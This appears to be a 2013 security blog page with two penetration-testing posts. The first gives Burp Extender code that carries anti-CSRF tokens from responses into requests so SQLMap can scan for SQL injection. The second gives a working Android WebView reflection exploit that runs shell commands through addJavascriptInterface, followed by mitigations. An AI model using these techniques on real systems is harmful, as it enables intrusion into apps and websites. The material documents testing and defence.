Monday, July 8, 2013

Anti-CSRF token support using Burp Extender API

I was recently faced with a problem where I was using SQL Map to scan a URL for SQL injection vulnerabilities. The issue was that after every POST request to the server my Anti-CSRF token would get reset and I could not figure out a way to retrieve the Anti-CSRF token form the response body and set it back in the next request sent by SQLMap.
I overcame this issue using Burp's Extender functionality and proxying SQLMap traffic thru burp. For those who are not familiar with Burp Extender, check http://portswigger.net/burp/extender/ out. Burp Extender allows us to hook into various events of the Burp application.
I've written a small program to record the Anti-CSRF token from the server response and then add it back to the request sent to the server.

PS: I will fix formatting issues and beautify the code soon. ;)

Download API : http://portswigger.net/burp/extender/api/burp_extender_api.zip
Follow the setup instruction present in http://blog.portswigger.net/2009/04/using-burp-extender.html

Modify the processHttpMessage method as follows :

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,IHttpRequestResponse messageInfo) {
 
 //HostName of the host you want to test. 
        String HOST = "m.test.isecpartners.com";
 
 IHttpService httpService = messageInfo.getHttpService();
 
 // If this is a response then record the CSRF token.
 if (!messageIsRequest) {
 
  if (HOST.equalsIgnoreCase(httpService.getHost())) {
   byte[] responseBytes = messageInfo.getResponse();
   String responseString = new String(responseBytes);
   int start = responseString.indexOf("<input type=\"hidden\" name=\"token\" id=\"token\" value=\"");
   if (start > 0) {
    // Extract the CSRF token value.
    String token = responseString.substring(start + 52,start + 51 + 57);
    stdout.println("Response Token:" + token);
    globalToken = token;
   }
  }
 } else {
  // In the request, we replace the CSRF token in the request with the
  // globalToken
 
  if (HOST.equalsIgnoreCase(httpService.getHost())) {
   IRequestInfo info = helpers.analyzeRequest(messageInfo);
   List<String> headers = info.getHeaders();
   IParameter token = helpers.getRequestParameter(messageInfo.getRequest(), "token");
   byte[] byteMessage = messageInfo.getRequest();
   if (token != null && !globalToken.isEmpty()) {
    stdout.println("Request Token :" + token.getValue()+ " Global Token : " + globalToken);
    // Remove the incorrect Anti-CSRF token from the request
    byteMessage = helpers.removeParameter(byteMessage, token);
    IParameter newToken = helpers.buildParameter("token", globalToken, IParameter.PARAM_BODY);
    // Add the correct Anti-CSRF token to the request.
    byteMessage = helpers.addParameter(byteMessage, newToken);
    // Set the request with the new token.
    messageInfo.setRequest(byteMessage);
   }
 
  }
 }
}

Run the extender jar file :
java -Xmx512m -classpath burpextender.jar;burp.jar burp.StartBurp
Output generated by the Extender Plugin can be seen in the Extender Tab's output sub-tab.


This can also be used with the BURP Scanner tool which modifies the same request packet without considering the values present in the response packet.



There are several possibilities using the BURP Extender tool. 

Remote code execution in Android WebViews

Enabling the addJavaScriptInterface method allows JavaScript hosted in WebView to directly invoke methods in an app through a JavaScript interface. Any untrusted content hosted in the WebView could potentially use reflection to figure out the public methods within the JavaScript Interface object and make use of them. Additionally, an attacker can also make use of reflection to replace contents in the application's private directory.
In the below code androidbridge is the exposed JavaScript bridge.

( PS : I shall fix the formatting issues and beautify the code in some time )

<!DOCTYPE html >
<html>
<head > <meta content="text/html;charset=UTF -8" http -equiv="content -type">
<script >
 function execute(cmdArgs)
 {
   var temp = androidbridge.getClass ().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null ,null);
   temp.exec(cmdArgs);
   return 1;
 }
  var maliciousContents = "isecPartners";
  execute (["/system/bin/sh","-c","echo '" +maliciousContents +"' > /data/data/com.goodcompany.private.directory/evilFile"]);
</script >
<body > No Content here </body >
</html >


Where "androidbridge" is the name for injected java object (JSInterface) in the webview.

webView.addJavascriptInterface(new JSInterface(this), "androidbridge");

Solution: Beginning in Android 4.2, developers must explicitly annotate public methods with @JavascriptInterface in order to make them accessible by hosted JavaScript. Note: This also takes effect only if the developer sets the application's minSdkVersion or targetSdkVersion to 17 or higher. Set the application's minSdkVersion or targetSdkVersion to 17 or higher so that hosted JavaScript can access only explicitly annotated Java methods.

Another solution would be to navigate to domains outside the whitelisted domains, by using shouldOverrideUrlLoading, checking if the domain is allowed and using the default Android browser, rather than the WebView to open the URL if it is not trusted.


Ref: [1] http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29 [2] http://android-developers.blogspot.com/2013/02/security-enhancements-in-jelly-bean.html